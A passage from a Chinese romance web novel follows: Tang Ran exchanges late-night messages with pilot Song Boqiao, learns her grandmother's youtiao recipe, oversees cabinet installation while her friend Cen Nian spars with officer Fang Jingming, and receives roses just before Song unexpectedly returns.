【没别的意思,只是好奇,你正常回答就好。】
白臻刚要睡,突然听见什么东西落地的声音,回头一看,是从宋泊峤床上翻滚下去的手机,停留在微信聊天界面。
那是整个房间唯一的亮光。
他清了清嗓,好不容易才憋住笑:“队长,不怕散光了?”
“……”
“睡你的觉。”
宋泊峤长手一勾,把那片光捡起来。
屏幕上每个字都明亮地落在他眼里,心里:
【以前没想过,不知道。】
【不过现在觉得,你这样的就不错。】
15.第 15 章
对面不回复,唐苒也不知道该怎么继续。
她只是顺着心意说了自己最真实的想法,没思考那么多,这话后知后觉,被她品出几分歧义。
犹豫片刻,补充道:【我是说你挺好的,不是那个意思。】
另一端,对话框里刚打出来的一句“那现在喜欢我吗”,被他一字字删除。
宋泊峤闭了闭眼,敲字:【不用解释,我明白。】
微微失重的心脏被他捡起来。
是好人卡,但或许也是全世界唯一的好人卡。
要知足,不能操之过急。
唐苒:【……哦。】
【那你还不睡觉吗?】
【明天不要早起?】
记得他说部队里作息规律,早睡早起,除了晚间飞行训练,很少这时候还联系她。
宋泊峤:【要的。】
【你也早点睡。】
【晚安。】
唐苒弯了下唇:【晚安。】
*
新家的定制柜做好了,经理打电话联系她,约好周末上门安装。
周五下班,唐苒去了趟奶奶家。
“你爸又给我寄了箱东西。”奶奶一边往晾晒架上摆放切好的红薯条,一边说,“我没看,也不知道是啥,让村里来人拿去分了。”
唐苒戴着一次性手套,帮奶奶晒红薯条:“也算他造福大家吧。”
孙女的语气就像对陌生人一样冷淡,奶奶叹了一声说:“我可以不认他这个儿子,可他到底是你爸。”
“您不认,我也不认。”唐苒笑了笑,“我跟您一条心。”
“傻姑娘,等我不在了,他到底还是——”
“奶奶。”唐苒嘟嘴打断她,“不许说这种话。”
奶奶浑浊的眼颤抖着低下去,强颜欢笑,拍了拍手上的灰:“这次带多少油条啊?我给你炸。”
“一小袋就好了,过阵子还来呢。”
“多带点儿吧。”奶奶迟疑了下,走进屋,“给小宋也一起吃。”
“那我学学。”唐苒跟着窜进厨房。
宋泊峤买的速热水龙头质量不错,奶奶打了好几次电话来夸,说洗菜再也不用冻手了。
唐苒试了试水温,刚刚好,忍不住笑了笑,感觉某人像个哆啦A梦,过一晚就能变出个新东西来。
“你爷爷也爱吃这个,你也爱吃,就你爸不喜欢。”奶奶起锅烧油,开始切面团,“当年你爷开着小三轮儿往返隔壁村卖东西,乡亲们都夸我这手艺呢,你好好学,说不定以后你家娃娃也喜欢。”
“可惜了,我大概是看不到了。”
“您今天怎么回事儿,净说这种话。”唐苒走过去,拿了把小刀一起切,“我不爱听啊。”
“好好好,不说。”奶奶呵呵笑了两声,“你看,油差不多烧到这程度,再等两分钟下锅,炸到金黄。”
“不用太焦,太焦了老,放一放还会变色的。”
“调味粉的方子我回头写给你。”
“你奶奶没什么遗产,就这手艺,全世界只传给你一个。”
唐苒心脏莫名一抽抽的,哽声:“奶奶,今晚我陪您一起睡吧。”
“我打呼,吵着你。”
“没事儿,我喜欢听您打呼。”
“那还跟小时候一样,跟奶奶一起看电视泡脚?”
“好啊。”
唐苒在城中村过了一晚,第二天去新房等安装工人。
担心人家见她不懂行,偷工减料,于是叫了岑念撑场面。
虽然岑念也不懂,但她惯在场子里混的,一看就是不好糊弄的主儿。
板子正进场的时候,唐苒突然接到方景明电话。号码是那晚存的,原本以为就躺个列。
大周末的,她有点懵:
“方队?找我有事儿吗?”
“唐苒,你们家几栋几号?我到小区了,打宋泊峤电话他不接。”方景明似乎在楼下跑着,声线微动,有点儿急,“今天不是定制柜进场吗?他叫我帮忙盯着,怕你一个人应付不来。”
唐苒本想说不用,可人都到了,撵回去更不礼貌,于是报了楼栋和房号:“谢谢啊,方队。”
岑念坐旁边听到了,等她挂电话,嘁了声:“上次那警察?”
“嗯。”唐苒点点头,“跟宋泊峤是好朋友,你见到人别那么咋呼,客气点儿。”
“知道啦,只要他不惹我,肯定憋着。”岑念撞撞她肩膀,“放心,给你面子的。”
唐苒总觉得不够放心。
听到电梯响时,她亲自出去接方景明。
“屋里灰大,就不给你沏茶了。”唐苒笑了笑,从玄关柜拿了瓶矿泉水,“给工人们准备的,方队别嫌弃。”
方景明大大方方接过来,进屋:“你也不用客气,我跟老宋多少年兄弟了,不讲究这个。”
“嗯。”
方景明看见坐在沙发上玩手机的岑念,礼节性点了点头。
岑念昂着高贵的头颅,给了他一个还算友好的眼神回应。
方景明走到安装柜子的工人那边,从兜里掏出烟盒,敲了支烟出来:“师傅,辛苦。”
那边烟还没递出去,岑念毫不客气开了口:“在别人屋里抽烟,多少有点儿没素质了吧。”
说完,她委屈地朝唐苒眨眼:“没憋住。”
方景明说了声“抱歉”,把烟收回,开始和安装师傅交涉。
唐苒挨着她坐回来,低声:“你俩八字不合吧。”
“没准儿,老天派来的死对头。”
唐苒无奈:“方队给人装烟是礼节,又没要抽,他们公司有规定的,不会在客户家抽烟。”
“那万一呢,他自己就是个烟鬼,忍不住怎么办?”岑念回头看了一眼,“我一句话帮你杜绝。”
“行行行,美丽机智的大小姐。”唐苒只能给她戴高帽。
岑念就是这性子,从来不会,也不需要看谁脸色。
唐苒有时候挺羡慕她。
“师傅,这是见光板?”
“是。”
“我能拿起来看看标吗?”
“可以的,你拿,我那堆顺序别打乱就成。”
岑念压低嗓音:“他真懂啊?”
“应该是。”唐苒嗑着瓜子,“那天定制的时候,宋泊峤和经理聊了很多,什么牌子产地环保等级的,我不懂,也就没管。可能是怕他们以次充好吧,要亲自检查一下。”
岑念轻哼了声:“还算靠谱。
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”
唐苒笑着起身:“你坐,我去看看。”
“我也去!”
唐苒从师傅那儿拿了张效果图。
背后,方景明有点不耐地开口:“你看不见吗?能不能离我远点儿?”
岑念凑在他旁边看板材上的标号,闻言嗤了声:“姑奶奶没嫌你一身烟味儿呢。”
“少喷点化学物品,有毒。”
“你才有毒,少抽点烟吧,你那肺都千疮百孔了。”
“……”
“岑念。”唐苒生怕这两人在家打起来,清清嗓,“一会儿上电钻了,咱俩出去。”
“哦。”岑念起身走了两步,回头朝方景明做鬼脸。
方景明抬头正好撞见,凉飕飕撇了撇唇。
柜子装了大半天,工人离开时按照规定做了简单清理,方景明局里有案子要忙,跟他一起下了楼。
再送走岑念,唐苒开始打扫家里的卫生。
音响系统登着宋泊峤的会员账号,播放着他歌单里的歌。风格跨度很大,从五月天beyond,到现在的一些网红歌,让人揣测不出喜好。
旋律如流水般回荡在屋内。
“还没走到最后,请别低着头。
沿途捡的梦,是否有些不安和迷惑……”
熟悉的旋律和歌词,瞬间让她想起高一下半年期中考试,人生第一次滑铁卢后,广播台一位匿名同学为她点的这首歌。
虽然有人暗恋她的流言在她本人冷漠的应对之下散了个干净,但她一直记得当初被歌词鼓舞到的那种感受。
“时间从来不为谁暂停了前进,
就像爱从来不曾会风平浪静。
未来就会揭谜底,
命运捧在我手心。”
一首歌悄悄地播完,回忆陷在消失的尾奏中,直到手机突然响起来。
唐苒有点恍惚地拿到耳边:“你好。”
“您好,是唐小姐吧?我这边是物业。您现在在家吗?”
“在。”
“这边有您一个快递,我安排机器人给您送上来可以吗?”
“好,谢谢。”
唐苒拍了拍脑袋,让自己清醒过来。
没五分钟,玄关电子屏响了,送货机器人已经到门口。
满屏鲜艳如火的玫瑰花,堆在机器人的送货仓里。
不用猜是谁,新家地址除了岑念和方景明,还没告诉过别人。
玫瑰花的香气萦绕鼻尖,唐苒抬手摩挲着花瓣,鼻头一阵酸。
这一刻她不得不承认,至少偶尔,瞬间,哪怕只是一晃而过的念头,她也曾想念过他。
她又不是什么冷血动物,一个对她好过的人,转头就忘得一干二净。
“人不回来有什么用。”唐苒不禁小声嘀咕。
可楼道空旷得只有回音。
她深吸了口气,把越界的情绪藏起来,从货仓里捧出玫瑰花。
正要关门,灯光如昼的宽敞大厅里,一双脚猝不及防地映入眼帘。
靠近的每一步都像石子落在她心上,砸下一道道难以愈合的浅坑。
昔日电话里的恣意调笑,毫无阻隔,迎面烫热她耳朵:“知道你这么着急,我就开飞机回来了。”